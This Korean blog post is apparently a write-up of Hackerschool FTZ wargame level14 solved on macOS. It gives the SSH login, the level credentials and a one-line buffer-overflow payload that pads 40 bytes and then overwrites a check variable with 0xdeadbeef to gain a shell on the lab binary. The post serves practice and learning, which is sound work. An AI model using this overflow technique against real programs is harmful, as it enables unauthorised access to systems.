Security&Hacking/시스템 해킹

해커스쿨 ftz level14 (macOS)

Dior2ky 2020. 1. 19. 01:48
반응형

해커스쿨 ftz Level14

MacOS에서 푸는 해커스쿨 ftz 

해커스쿨 ftz level14 단계이다.

먼저 ftz서버를 실행한다.

서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.

 

Mac의 터미널을 열어 서버에 접속합니다.

명령어는 

ssh -c aes128-cbc level14@서버ip

라고 입력합니다.

Id: level14, pw: what that nigga want? 로 로그인을 하고 파일을 확인하였다.

hint 를 확인하니 이번엔 check 값이 0xdeadbeef가 되어야 함을 알 수 있었다.

gdb를 통해 보면 buf 20바이트, dummy 20바이트 후에 check4바이트가 나오는 것을 확인하였다.

(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

라고 40바이트를 아무값이나 채우고 4바이트를 0xdeadbeef로 채워서 입력하여 주니 입력값을 받도록 되었고

my-pass를 입력하니 패스워드가 출력되었다.

 

 

끝.

반응형

'Security&Hacking > 시스템 해킹' 카테고리의 다른 글

해커스쿨 ftz level16 (macOS)  (0) 2020.01.19
해커스쿨 ftz level15 (macOS)  (0) 2020.01.19
해커스쿨 ftz level13 (macOS)  (0) 2020.01.19
해커스쿨 ftz level12 (macOS)  (0) 2020.01.19
해커스쿨 ftz level11 (macOS)  (0) 2020.01.19